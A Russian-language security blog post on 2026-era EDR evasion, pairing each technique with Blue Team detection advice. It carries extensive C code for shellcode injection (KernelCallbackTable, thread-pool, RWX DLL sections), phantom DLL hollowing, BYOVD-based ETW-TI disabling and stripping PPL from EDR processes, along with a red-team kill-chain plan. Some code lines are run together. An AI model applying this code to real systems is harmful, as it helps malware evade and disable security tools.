Обход EDR: техники 2026 года

Posted on 28 марта, 2026 by AkaTor

Категория: Red Team / Blue Team / Purple Team
Уровень: Expert
Автор: Aka Tor

Введение

EDR в 2026 году стали умнее: kernel-level ETW Threat Intelligence, stack trace validation, memory scanning с ML-моделями, hardware telemetry через Intel PT и AMD SEV. Техники из предыдущих статей (indirect syscalls, sleep obfuscation) уже в сигнатурах. Здесь — то, что работает **сейчас**.

---

1. Indirect Syscalls через Exception Handlers — SilentMoonwalk

Проблема

Indirect syscalls через `jmp [ntdll!NtXxx+offset]` уже детектятся: EDR проверяет что `call` инструкция предшествует return address. При `jmp` — её нет, это аномалия.

Техника: CFG-aware indirect call через exception dispatcher

Вместо `jmp` на syscall stub — провоцируем исключение, которое Windows exception dispatcher обрабатывает через легитимный код в ntdll. Call stack получается полностью чистым — все return addresses указывают на реальные `call` инструкции.

```
// SilentMoonwalk: syscall через exception-based control flow
// Идея: манипулируем exception handler chain для вызова Nt-функций
```

```
// Шаг 1: Регистрируем VEH (Vectored Exception Handler)
AddVectoredExceptionHandler(1, SyscallDispatcher);

// Шаг 2: Подготавливаем контекст для целевого syscall
typedef struct _SYSCALL_PARAMS {
    DWORD ssn;
    PVOID arg1, arg2, arg3, arg4;
    PVOID returnAddr;
} SYSCALL_PARAMS;

SYSCALL_PARAMS params = {
    .ssn = GetSSN("NtAllocateVirtualMemory"),
    .arg1 = (PVOID)-1,          // ProcessHandle (current)
    .arg2 = &baseAddress,        // BaseAddress
    .arg3 = 0,                   // ZeroBits
    .arg4 = &regionSize,         // RegionSize
};

// Шаг 3: Trigger exception — вызываем int 0x2D или access violation
// Это передаёт управление нашему VEH

// Шаг 4: В VEH handler — модифицируем CONTEXT:
LONG CALLBACK SyscallDispatcher(PEXCEPTION_POINTERS pEx) {
    if (pEx->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT) {
        PCONTEXT ctx = pEx->ContextRecord;

        // Устанавливаем регистры как для syscall
        ctx->R10 = (DWORD64)params.arg1;
        ctx->Rax = params.ssn;
        ctx->Rdx = (DWORD64)params.arg2;
        ctx->R8  = (DWORD64)params.arg3;
        ctx->R9  = (DWORD64)params.arg4;

        // RIP → на инструкцию syscall внутри ntdll
        // Но return address в стеке → наш continuation point
        ctx->Rip = FindSyscallInstruction("ntdll.dll");

        // Stack frame выглядит как:
```

```
        // ntdll!KiUserExceptionDispatcher →
ntdll!RtlDispatchException →
        // ntdll!NtXxx(syscall) → kernel
        // Полностью легитимный call stack!

        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

// Результат: EDR видит call stack:
// ntdll!NtAllocateVirtualMemory
// ntdll!KiUserExceptionDispatcher
// ntdll!RtlDispatchException
// kernel32!UnhandledExceptionFilter
// Всё легитимно. Никаких jmp, никаких unbacked addresses.
```

Почему детект сложнее

- Call stack **полностью валидный** — каждый return address после реальной `call` инструкции
- Unwind metadata проходит проверку — все frames в .pdata
- Выглядит как обычная обработка исключения системой

Blue Team: детект

- **Exception frequency analysis** — частые EXCEPTION_BREAKPOINT из одного процесса — аномалия
- **VEH chain inspection** — мониторинг количества и адресов VEH handlers
- **Correlation** — exception → immediate Nt-функция = подозрительный паттерн
- **Hardware tracing (Intel PT)** — полная трассировка control flow на аппаратном уровне

---

2. Phantom DLL Hollowing — инъекция через транзакции

NTFS

Концепт

NTFS Transactions позволяют создать файл в транзакции, замапить его в память, а затем **откатить транзакцию**. Файл исчезает с диска, но маппинг в памяти остаётся — **phantom section**.

```
// Phantom DLL Hollowing: section без файла на диске
// Файл существовал только внутри отменённой NTFS-транзакции

// Шаг 1: Создать NTFS транзакцию
HANDLE hTransaction;
NtCreateTransaction(&hTransaction, TRANSACTION_ALL_ACCESS, NULL,
    NULL, NULL, 0, 0, 0, NULL, NULL);

// Шаг 2: Создать файл ВНУТРИ транзакции
HANDLE hTransactedFile;
hTransactedFile = CreateFileTransactedA(
    "C:\\Windows\\Temp\\legit.dll",    // путь (временный)
    GENERIC_WRITE | GENERIC_READ,
    0, NULL, CREATE_ALWAYS,
    FILE_ATTRIBUTE_NORMAL,
    NULL, hTransaction, NULL, NULL
);

// Шаг 3: Записать payload в файл
WriteFile(hTransactedFile, payloadDll, payloadSize, &written, NULL);

// Шаг 4: Создать section из этого файла
HANDLE hSection;
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL,
    NULL, PAGE_READONLY, SEC_IMAGE, hTransactedFile);

// Шаг 5: ОТКАТИТЬ транзакцию — файл исчезает с диска!
NtRollbackTransaction(hTransaction, TRUE);
CloseHandle(hTransactedFile);
```

```
// Шаг 6: Файла нет, но section жив — маппим в целевой процесс
PVOID baseAddr = NULL;
SIZE_T viewSize = 0;
NtMapViewOfSection(hSection, hTargetProcess,
    &baseAddr, 0, 0, NULL, &viewSize,
    ViewUnmap, 0, PAGE_EXECUTE_READ);

// Результат:
// - Код замаплен в памяти целевого процесса
// - На диске файла НЕТ — AV/EDR не может просканировать файл
// - NtQueryVirtualMemory показывает section backed by file,
//   но файл не существует → "phantom"
// - Minifilter не видел подозрительного файла (транзакция откачена)
```

Эволюция: Transacted Hollowing + Process Herpaderping

```
// Комбо: создаём процесс из phantom section
// Шаг 1-5: как выше — создаём phantom section с payload EXE

// Шаг 6: Создаём процесс из phantom section
HANDLE hProcess, hThread;
NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS,
    NULL, NtCurrentProcess(), 0, hSection, NULL, NULL, 0);

// Шаг 7: Настраиваем PEB, параметры процесса
// ... (CreateProcessParameters, RtlCreateProcessParametersEx)

// Шаг 8: Создаём начальный поток
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS,
    NULL, hProcess, entryPoint, NULL,
    0, 0, 0, 0, NULL);

// Процесс запущен, но:
// - Его backing file не существует на диске
// - Process image path указывает на удалённый файл
// - Сканирование файла при создании процесса невозможно
```

Blue Team: детект

- **NTFS Transaction monitoring** — `NtCreateTransaction` + `CreateFileTransacted` из user-mode — крайне редкие вызовы в легитимном софте
- **Phantom section detection** — section с `FILE_OBJECT` указывающим на несуществующий файл
- **ETW: Microsoft-Windows-Kernel-Transaction-Manager** — логирование транзакций
- **Sysmon Event ID 25** (Process Tampering) — специально для process hollowing/herpaderping

---

3. Kernel Callback Table Hijacking — Code Execution без инъекции

Концепт

Каждый GUI-процесс в Windows имеет **KernelCallbackTable** в PEB — массив указателей на callback-функции, вызываемые ядром при оконных сообщениях. Перезаписав один указатель — получаем code execution при следующем оконном сообщении.

```
// KernelCallbackTable Hijacking
// PEB->KernelCallbackTable — массив ~100 callback указателей
// Ядро вызывает их при обработке GUI-сообщений

// Шаг 1: Прочитать PEB целевого процесса
PROCESS_BASIC_INFORMATION pbi;
NtQueryInformationProcess(hProcess, ProcessBasicInformation,
    &pbi, sizeof(pbi), NULL);

PEB remotePeb;
ReadProcessMemory(hProcess, pbi.PebBaseAddress, &remotePeb,
    sizeof(PEB), NULL);

// Шаг 2: Прочитать KernelCallbackTable
PVOID callbackTable[100];
ReadProcessMemory(hProcess, remotePeb.KernelCallbackTable,
    callbackTable, sizeof(callbackTable), NULL);
```

```
// Шаг 3: Записать шеллкод в целевой процесс
PVOID shellcodeAddr;
NtAllocateVirtualMemory(hProcess, &shellcodeAddr, 0,
    &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READ);
NtWriteVirtualMemory(hProcess, shellcodeAddr,
    shellcode, shellcodeSize, NULL);

// Шаг 4: Подменить указатель в KernelCallbackTable
// __fnCOPYDATA (index 3) вызывается при WM_COPYDATA
PVOID originalCallback = callbackTable[3]; // сохраняем для
восстановления
callbackTable[3] = shellcodeAddr;

// Перезаписать таблицу в целевом процессе
WriteProcessMemory(hProcess, remotePeb.KernelCallbackTable,
    callbackTable, sizeof(callbackTable), NULL);

// Шаг 5: Отправить WM_COPYDATA целевому окну
// Ядро вызовет __fnCOPYDATA → наш шеллкод!
COPYDATASTRUCT cds = { 0, 1, "x" };
SendMessage(targetHwnd, WM_COPYDATA, 0, (LPARAM)&cds);

// Шеллкод выполняется в контексте целевого процесса
// Без CreateRemoteThread, без APC, без thread creation callback!
```

Преимущества

- **Нет создания потока** — код выполняется в контексте существующего GUI-потока
- **Нет APC injection**
- **Callback вызывается ядром** — call stack начинается из kernel mode
- Использовалась группировкой **Lazarus (APT38)** в реальных атаках

Blue Team: детект

- **PEB integrity monitoring** — сравнение KernelCallbackTable с эталоном
- **Cross-process PEB write** — `WriteProcessMemory` в область PEB другого процесса
- **WM_COPYDATA из необычных источников** — коррелировать отправителя и получателя
- **ETW-TI** — видит `WriteProcessMemory` в PEB

---

4. Pool Party — инъекция через Windows Thread Pool

Концепт

Windows Thread Pool — механизм управления worker-потоками. Каждый процесс имеет default thread pool. Инъекция через вставку **work item** в очередь thread pool целевого процесса — worker поток сам выполнит наш код.

```
// Pool Party: 8 вариантов инъекции через Thread Pool
// Вариант 1: Worker Factory (TP_POOL)

// Шаг 1: Найти Worker Factory object целевого процесса
// Worker Factory управляет thread pool — создаёт/уничтожает worker потоки

HANDLE hWorkerFactory;
// Энумерация handle table целевого процесса
// Ищем объект типа "TpWorkerFactory"
NtQueryInformationProcess(hProcess, ProcessHandleInformation, ...);
// ... фильтруем по типу объекта

// Шаг 2: Прочитать структуру TP_POOL из целевого процесса
// TP_POOL содержит TaskQueue — очередь задач для worker потоков
TP_POOL remotePool;
ReadProcessMemory(hProcess, poolAddr, &remotePool, sizeof(TP_POOL), NULL);

// Шаг 3: Создать TP_WORK item с указателем на наш шеллкод
TP_WORK workItem = {0};
workItem.CleanupGroupMember.Callback = shellcodeAddr; // callback → шеллкод
workItem.Task.ListEntry.Flink = ...; // связать в очередь
workItem.Task.ListEntry.Blink = ...;

// Шаг 4: Записать work item в память целевого процесса
PVOID remoteWorkItem;
```

```
NtAllocateVirtualMemory(hProcess, &remoteWorkItem, ...);
NtWriteVirtualMemory(hProcess, remoteWorkItem, &workItem, ...);

// Шаг 5: Вставить work item в TaskQueue целевого процесса
// Модифицируем linked list — вставляем наш item
// Worker поток проснётся и выполнит callback → шеллкод

// Альтернативный trigger:
// NtSetInformationWorkerFactory(hWorkerFactory,
//     WorkerFactoryThreadMinimum, ...) — заставляет создать новый
worker
```

8 вариантов Pool Party

```
Variant 1: Worker Factory StartRoutine — подмена start routine для
новых workers
Variant 2: TP_WORK insertion — вставка work item в очередь (описано
выше)
Variant 3: TP_WAIT — вставка wait item, trigger через SetEvent
Variant 4: TP_IO — вставка I/O completion item
Variant 5: TP_ALPC — вставка ALPC completion item
Variant 6: TP_JOB — вставка job notification item
Variant 7: TP_DIRECT — прямая вставка в task queue
Variant 8: TP_TIMER — вставка timer item с trigger через NtSetTimer2

Все варианты:
✓ Не создают новый поток (worker уже существует)
✓ Не используют APC
✓ Call stack идёт из ntdll!TppWorkerThread — легитимный
```

Blue Team: детект

- **Cross-process write to TP structures** — запись в TP_POOL, TP_WORK, TaskQueue другого процесса
- **Worker Factory handle manipulation** — `NtSetInformationWorkerFactory` с чужим handle
- **ETW-TI** — видит cross-process memory writes
- **Anomalous thread pool activity** — worker выполняет код из unbacked memory

---

5. Mockingjay — RWX в легитимных DLL

Концепт

Некоторые легитимные DLL содержат секции с правами **RWX** (Read-Write-Execute). Если загрузить такую DLL — получаем RWX-память без вызова `VirtualAlloc` или `VirtualProtect`.

```
// Mockingjay: использование существующих RWX секций в легитимных DLL
// Известные DLL с RWX секциями:
// - msys-2.0.dll (Git for Windows, MSYS2)
// - cygwin1.dll (Cygwin)
// - libssp-0.dll
// - некоторые DLL из Visual Studio Build Tools

// Шаг 1: Загрузить DLL с RWX секцией
HMODULE hDll = LoadLibraryA("C:\\Program
Files\\Git\\usr\\bin\\msys-2.0.dll");

// Шаг 2: Найти RWX секцию
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hDll;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PBYTE)hDll +
dos->e_lfanew);
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);

for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
    DWORD chars = sec[i].Characteristics;
    // IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE |
IMAGE_SCN_MEM_EXECUTE
    if ((chars & 0xE0000000) == 0xE0000000) {
        // Нашли RWX секцию!
        PVOID rwxAddr = (PBYTE)hDll + sec[i].VirtualAddress;
        SIZE_T rwxSize = sec[i].Misc.VirtualSize;

        // Шаг 3: Записать шеллкод прямо в RWX секцию
        memcpy(rwxAddr, shellcode, shellcodeSize);
```

```
        // Шаг 4: Выполнить — никаких VirtualAlloc, VirtualProtect!
        ((void(*)())rwxAddr)();
        break;
    }
}

// Что обошли:
// ✓ Нет VirtualAlloc с RWX — нет детекта аллокации
// ✓ Нет VirtualProtect — нет детекта смены прав
// ✓ Память backed by signed DLL — не unbacked
// ✓ Call stack показывает вызов из легитимной DLL
```

Self-injection vs Remote

```
// Remote Mockingjay: инъекция в другой процесс
// Если целевой процесс уже загрузил DLL с RWX — просто пишем туда

// Шаг 1: Проверить загружена ли DLL с RWX в целевом процессе
// EnumProcessModules → для каждого модуля проверить секции

// Шаг 2: Если нет — загрузить через DLL injection:
// CreateRemoteThread(hProcess, LoadLibraryA, "path_to_rwx_dll")
// Но это создаёт поток... комбинируем с ThreadlessInject!

// Шаг 3: WriteProcessMemory напрямую в RWX секцию
// Без VirtualProtectEx — права уже RWX

// Шаг 4: Trigger execution через KernelCallbackTable или Pool Party
```

Blue Team: детект

- **RWX section audit** — сканирование загруженных DLL на наличие RWX секций, алерт при загрузке
- **Blocklist DLL с RWX** — блокировать загрузку известных DLL с RWX (msys-2.0.dll, cygwin1.dll)
- **Code Integrity Guard (CIG)** — `SetProcessMitigationPolicy(ProcessSignaturePolicy)` — только подписанные DLL
- **Modified page detection** — содержимое RWX секции изменилось после загрузки

DLL

---

6. ETW Threat Intelligence Evasion — обход последнего рубежа

Проблема

ETW-TI — kernel-level провайдер, работает через `EtwTiLogXxx` функции в ядре. Его **нельзя** пропатчить из user-mode. Это последний рубеж телеметрии. Но...

Техника 1: Минимизация ETW-TI events через benign patterns

```
// ETW-TI логирует определённые операции. Если мы можем достичь
// того же результата операциями, которые НЕ логируются — обходим.

// Пример: NtAllocateVirtualMemory с RWX — логируется ETW-TI
// Обход: NtAllocateVirtualMemory с RW → записать код →
NtProtectVirtualMemory RX
// ETW-TI логирует protect change, но не с RWX — менее подозрительно

// Пример: NtMapViewOfSection cross-process — логируется
// Обход: Shared section — создаём section, оба процесса маппят сами
// Self-mapping не считается cross-process injection

// Создаём named section
HANDLE hSection;
LARGE_INTEGER sectionSize = { .QuadPart = 0x10000 };
NtCreateSection(&hSection, SECTION_ALL_ACCESS, &objAttr,
    &sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);

// Маппим в свой процесс — пишем шеллкод
PVOID localView = NULL;
SIZE_T viewSize = 0;
NtMapViewOfSection(hSection, NtCurrentProcess(),
    &localView, 0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_READWRITE);
memcpy(localView, shellcode, shellcodeSize);
```

```
// Целевой процесс маппит ту же section САМОСТОЯТЕЛЬНО
// Через DLL hijacking, COM hijacking, или другой trigger
// → Self-mapping, не cross-process injection
// → ETW-TI не алертит
```

Техника 2: BYOVD для отключения ETW-TI consumer

```
// ETW-TI events доставляются через ETW consumer (обычно EDR driver)
// Если отключить consumer — events генерируются, но никто их не
читает

// Шаг 1: Загрузить уязвимый драйвер (BYOVD)
// Шаг 2: Через arbitrary kernel R/W:

// Вариант A: Найти и обнулить GUID регистрации ETW-TI consumer
// _ETW_REG_ENTRY для Microsoft-Windows-Threat-Intelligence
// Обнулить Callback pointer → events уходят в никуда

// Вариант B: Модифицировать EtwTiLogXxx функции в ntoskrnl
// Перезаписать начало на "xor eax,eax; ret" — как ETW patching
// но в kernel space

// Вариант C: Отключить провайдер через nt!EtwpStopTrace
// Вызвать из kernel context через уязвимый драйвер

// 2026: Microsoft усилил HVCI, но не все организации включили его
// Без HVCI — kernel code patching всё ещё возможен через BYOVD
```

Blue Team: защита ETW-TI

- **HVCI обязательно** — блокирует unsigned kernel code и модификацию kernel memory
- **Vulnerable Driver Blocklist** — обновлять регулярно, Microsoft обновляет его ежемесячно
- **Secure Boot + Measured Boot** — attestation на уровне загрузки
- **Canary events** — периодическая генерация тестовых ETW-TI events, проверка что они дошли до SIEM
- **Redundant telemetry** — не полагаться только на ETW-TI: kernel callbacks, minifilters, Sysmon как backup

---

7. AI-Assisted Polymorphism — мутация payload в рантайме

Концепт

Статические сигнатуры и ML-модели EDR обучены на известных patterns. AI-полиморфизм генерирует уникальный вариант payload при каждом запуске — изменяя control flow, register allocation, instruction encoding, junk code.

```
// Runtime Metamorphic Engine: каждый запуск — уникальный бинарь
// Концепт: decode stub генерируется заново при каждом выполнении

typedef struct _METAMORPHIC_CONFIG {
    BYTE xorKey[32];           // случайный ключ
    DWORD junkInstructionCount; // количество мусорных инструкций
    DWORD registerRotation;     // смена используемых регистров
    BOOL useIndirectJumps;      // непрямые переходы вместо jmp
} METAMORPHIC_CONFIG;

void GenerateDecodeStub(PBYTE output, METAMORPHIC_CONFIG* cfg) {
    int offset = 0;

    // Случайный набор NOP-эквивалентов в начале
    for (int i = 0; i < cfg->junkInstructionCount; i++) {
        switch (GetRandomInt() % 5) {
            case 0: // xchg reg, reg (NOP equivalent)
                output[offset++] = 0x87;
                output[offset++] = 0xC0 | (GetRandomReg() << 3) |
GetRandomReg(); break; case 1: // lea reg, [reg+0] (NOP equivalent)
output[offset++] = 0x48; output[offset++] = 0x8D; output[offset++] =
0x40 | GetRandomReg(); output[offset++] = 0x00; break; case 2: // test
reg, reg (doesn't change state) output[offset++] = 0x48;
output[offset++] = 0x85; output[offset++] = 0xC0 | (GetRandomReg() *
9); break; case 3: // push/pop same register output[offset++] = 0x50 +
GetRandomReg(); output[offset++] = 0x58 + GetRandomReg(); break; case
4: // fnop (float NOP) output[offset++] = 0xD9; output[offset++] =
0xD0; break; } } // Decode loop — c rotated registers BYTE counterReg
```

```
= cfg->registerRotation % 8;
    BYTE pointerReg = (cfg->registerRotation + 1) % 8;
    BYTE keyReg = (cfg->registerRotation + 2) % 8;

    // mov counterReg, payload_size
    // mov pointerReg, payload_addr
    // mov keyReg, key
    // loop: xor [pointerReg], keyReg
    //       inc pointerReg
    //       dec counterReg
    //       jnz loop
    // ... (encode с выбранными регистрами)

    // Каждый decode stub уникален:
    // - Разные регистры
    // - Разное количество junk instructions
    // - Разные NOP-эквиваленты
    // - Разный порядок операций
    // - Разный XOR ключ
}
```

Blue Team: детект AI-полиморфизма

- **Behavioral analysis over signatures** — не искать байтовые паттерны, а анализировать поведение
- **Entropy analysis** — зашифрованный payload имеет высокую энтропию (~7.9/8.0)
- **Decode stub heuristics** — XOR loop + высокая энтропия data = decode stub
- **Emulation/Sandboxing** — выполнить в песочнице до расшифровки
- **ML-модели на instruction patterns** — junk instructions имеют характерное распределение

---

8. DKOM + PPL Bypass — атака на защищённые процессы

Концепт

Protected Process Light (PPL) защищает EDR-процессы от открытия с

PROCESS_ALL_ACCESS. Но через BYOVD + Direct Kernel Object Manipulation (DKOM) можно снять PPL protection с любого процесса.

```
// DKOM: модификация EPROCESS для снятия PPL
// Через уязвимый драйвер (BYOVD) с arbitrary kernel R/W

// EPROCESS структура содержит поле Protection:
// +0x87A PS_PROTECTION Protection;
// typedef struct _PS_PROTECTION {
//     BYTE Type : 3;     // PsProtectedTypeNone = 0
//     BYTE Audit : 1;
//     BYTE Signer : 4;  // PsProtectedSignerNone = 0
// } PS_PROTECTION;

// Шаг 1: Найти EPROCESS целевого процесса (EDR)
// Через PsLookupProcessByProcessId или обход ActiveProcessLinks

PEPROCESS edrProcess;
PsLookupProcessByProcessId((HANDLE)edrPid, &edrProcess);

// Шаг 2: Найти offset Protection в EPROCESS
// Windows 10/11 22H2+: offset ~0x87A (меняется между билдами)
// Определяем динамически через паттерн или debug symbols

DWORD protectionOffset = GetProtectionOffset();

// Шаг 3: Обнулить Protection — снять PPL
BYTE zeroProtection = 0;
KernelWrite((PBYTE)edrProcess + protectionOffset,
    &zeroProtection, sizeof(zeroProtection));

// Теперь EDR-процесс не защищён PPL
// Можно открыть с PROCESS_ALL_ACCESS
// Можно инжектить, дампить память, убивать

// Шаг 4: Дополнительно — снять другие защиты:
// - Обнулить SignatureLevel/SectionSignatureLevel
// - Модифицировать Token (дать SeDebugPrivilege)
```

```
// - Изменить Protection в EPROCESS-ядерных флагах

// Шаг 5: Опционально — скрыть процесс через DKOM
// Unlink из ActiveProcessLinks — процесс исчезает из Task Manager
// (но поток продолжает работать)
```

Blue Team: детект

- **HVCI** — критически важно, блокирует unsigned kernel code
- **PPL integrity monitoring** — EDR-драйвер периодически проверяет свой PS_PROTECTION
- **Driver load auditing** — Sysmon Event ID 6, blocklist vulnerable drivers
- **Kernel integrity** — KPP (Kernel Patch Protection / PatchGuard) детектит модификации EPROCESS, но с задержкой
- **Attestation** — remote attestation через TPM для проверки kernel integrity

---

9. Матрица: техники 2026

Техника	Обходит	Требует	Детект
SilentMoonwalk	Stack trace analysis, return addr validation	VEH, exception handling	Exception frequency, Intel PT
Phantom DLL Hollowing	File scanning, minifilters	NTFS Transactions	Transaction monitoring, Sysmon 25
KernelCallbackTable	Thread creation detection, APC detection	GUI process target	PEB write monitoring, ETW-TI
Pool Party	Thread/APC callbacks	Thread Pool internals	TP structure writes, ETW-TI
Mockingjay	VirtualAlloc/VirtualProtect monitoring	DLL with RWX section	RWX audit, CIG policy
ETW-TI Evasion	Kernel telemetry	BYOVD (kernel access)	HVCI, canary events

Техника	Обходит	Требует	Детект
AI Polymorphism	Static signatures, pattern ML	Metamorphic engine	Behavioral analysis, entropy
DKOM + PPL Bypass	Process protection, PPL	BYOVD (kernel access)	HVCI, integrity checks

---

10. Рекомендации

Для Red Team

- 2026 kill chain: **Mockingjay** (RWX без аллокации) → **Pool Party** (injection без потока) → **SilentMoonwalk** (syscalls с чистым стеком) → **Sleep Obfuscation + Stack Spoof** (persistence)
- Phantom DLL Hollowing — для initial access и loader'а
- Если доступен BYOVD — ETW-TI evasion и PPL bypass меняют игру полностью
- AI-полиморфизм — для обхода sandbox и ML-based detection

Для Blue Team

- **HVCI — не опция, а обязательное требование**. Без него kernel integrity не гарантирована
- **Code Integrity Guard (CIG)** — блокирует загрузку unsigned DLL (включая Mockingjay DLL)
- **Redundant telemetry** — ETW-TI + kernel callbacks + Sysmon + minifilters. Если один источник скомпрометирован — остальные продолжают работать
- **Intel PT / AMD LBR** — hardware-level трассировка control flow, не обходится программно
- **Canary events** — регулярная генерация тестовых событий для проверки целостности pipeline телеметрии
- **Assume breach** — фокус на post-exploitation detection, lateral movement, data exfiltration

Для Purple Team

- Тестируйте каждую технику из этой статьи против вашего EDR stack
- Документируйте: что задетектировано, что пропущено, какая телеметрия есть но

не алертит
- Приоритизируйте: HVCI rollout > driver blocklist > CIG > Intel PT
- MITRE ATT&CK: T1055.015 (ListPlanting), T1574.002 (DLL Side-Loading), T1562.001 (Disable Tools), T1027.013 (Encrypted/Encoded File)

Заключение

В 2026 году граница между атакой и защитой проходит через **ядро**. User-mode — территория атакующих: любой EDR-компонент в user-mode будет обойдён. Kernel-mode с HVCI — последний рубеж, но BYOVD продолжает находить уязвимые драйверы. Hardware-level телеметрия (Intel PT, TPM attestation) — следующий фронт, который только начинает развиваться.

Ключевой тренд: атаки становятся **composable** — каждая техника закрывает слабость другой, создавая полный kill chain без единого детектируемого IOC. Защита должна быть такой же — **многослойной, redundant, с assumption of breach**.

В следующей статье: **Строим собственный C2 framework** — архитектура, протоколы, operational security.

Дисклеймер: Материал предоставлен исключительно в образовательных целях для специалистов по информационной безопасности. Используйте полученные знания только в рамках авторизованного тестирования на проникновение и защиты инфраструктуры.